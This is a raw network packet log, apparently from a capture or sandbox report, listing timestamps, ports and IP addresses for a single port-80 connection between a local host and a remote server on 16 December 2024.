Dec 16, 2024 15:38:23.438736916 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.438872099 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.439121008 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.447169065 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.447227001 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.447326899 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.487252951 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.535459995 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.559406042 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.559443951 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.559497118 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.561873913 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.561969042 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.562088966 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.566984892 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.567025900 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.567075014 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.571965933 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.572042942 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.572099924 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.577111006 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.577404976 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.577474117 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.582040071 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.582140923 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.582186937 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.586941004 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.587023973 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.587074041 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.591665983 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.591739893 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.591806889 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.596664906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.596856117 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.597106934 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.601445913 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.601507902 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.601577997 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.606242895 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.606308937 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.606364012 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.611112118 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.611252069 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.611304998 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.615994930 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.616090059 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.616138935 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.620749950 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.620852947 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.620902061 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.625650883 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.625925064 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.626015902 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.630574942 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.630691051 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.630774975 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.635351896 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.635395050 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.635451078 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.640204906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.640335083 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.640393972 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.645210028 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.645255089 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.645339966 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.649841070 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.691725016 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.751552105 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.751600027 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.751729012 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.753451109 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.753559113 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.753622055 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.757569075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.757658958 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.757756948 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.761262894 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.761320114 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.761454105 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.765161991 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.765235901 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.765304089 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.768940926 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.769001007 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.769237041 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.772620916 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.772830009 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.772878885 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.776273012 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.776365042 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.776529074 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.779814005 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.779942036 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.782437086 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.783394098 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.783617973 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.785823107 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.786834955 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.786912918 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.787137985 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.790477991 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.790606976 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.790652037 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.794193983 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.794327021 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.794519901 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.797677994 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.797720909 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.797816038 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.801331997 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.801374912 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.801449060 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.804717064 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.804825068 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.805013895 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.808492899 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.808589935 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.808695078 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.811788082 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.811809063 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.811877966 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.815387011 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.815504074 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.815565109 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.819322109 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.819335938 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.819392920 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.822653055 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.822726965 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.822833061 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.826107025 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.826211929 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.826365948 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.829579115 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.829731941 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.829982042 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.833148003 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.833348989 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.833445072 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.837090015 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.837162971 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.837296963 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.840240002 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.840343952 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.840426922 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.843801022 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.843915939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.844008923 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.847423077 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.847435951 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.847521067 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.850898027 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.851176023 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.851236105 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.854490995 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.854559898 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.854610920 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.858103037 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.858154058 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.858409882 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.861572027 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.861681938 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.861727953 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.865145922 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.865227938 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.865273952 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.868688107 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.910451889 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.943799019 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.943881989 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.943981886 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.945360899 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.945924997 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.945951939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.945981026 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.948426008 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.948451996 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.948488951 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.951308012 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.951354027 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.951405048 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.954081059 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.954155922 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.954205990 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.956964970 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.956980944 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.957029104 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.959712029 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.959774017 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.959852934 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.962331057 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.962380886 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.962395906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.964987993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.965032101 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.965044022 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.967624903 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.967667103 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.967705965 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.970231056 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.970243931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.970269918 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.972696066 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.972749949 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.972773075 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.975212097 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.975250006 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.975269079 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.977597952 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.977650881 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.977654934 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.980041981 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.980078936 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.980146885 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.982424974 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.982464075 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.982492924 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.984829903 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.984867096 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.984941959 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.987155914 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.987247944 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.987283945 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.989451885 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.989495039 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.989546061 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.991779089 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.991826057 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.991857052 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.994057894 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.994106054 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.994116068 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.996354103 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.996413946 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.996488094 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.998626947 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:23.998677015 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:23.998785019 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.000955105 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.000994921 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.001176119 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.003201962 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.003258944 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.003325939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.005644083 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.005677938 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.005696058 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.007811069 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.007848978 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.007973909 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.010145903 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.010179043 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.010195017 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.012399912 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.012454033 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.012492895 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.014676094 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.014754057 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.014848948 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.017039061 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.017086029 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.017205954 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.019208908 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.019251108 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.019355059 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.021533966 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.021595001 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.021652937 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.023834944 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.023886919 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.023931026 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.026081085 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.026137114 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.026141882 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.028328896 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.028378010 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.028378963 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.030652046 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.030689001 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.030745029 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.032896996 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.032943964 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.033082008 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.035346031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.035396099 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.035429955 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.037617922 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.037709951 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.038033962 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.039828062 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.039861917 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.039869070 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.042031050 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.042076111 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.042107105 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.044409037 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.044528961 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.044575930 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.046636105 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.046681881 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.046794891 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.048928976 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.049076080 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.049118042 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.051167011 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.051208019 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.051266909 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.053525925 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.053596973 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.053795099 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.055778027 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.055826902 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.055917025 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.058063030 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.058111906 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.058161020 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.060266972 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.060309887 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.060339928 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.062597990 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.062643051 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.062665939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.064893961 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.064948082 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.064981937 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.067182064 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.067282915 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.067336082 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.113594055 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.161082029 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.161103964 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.161169052 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.161473989 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.161511898 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.161556959 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.162811041 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.162935972 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.163012981 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:24.164205074 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:24.164313078 CET	80	49747	185.215.113.16	192.168.2.6
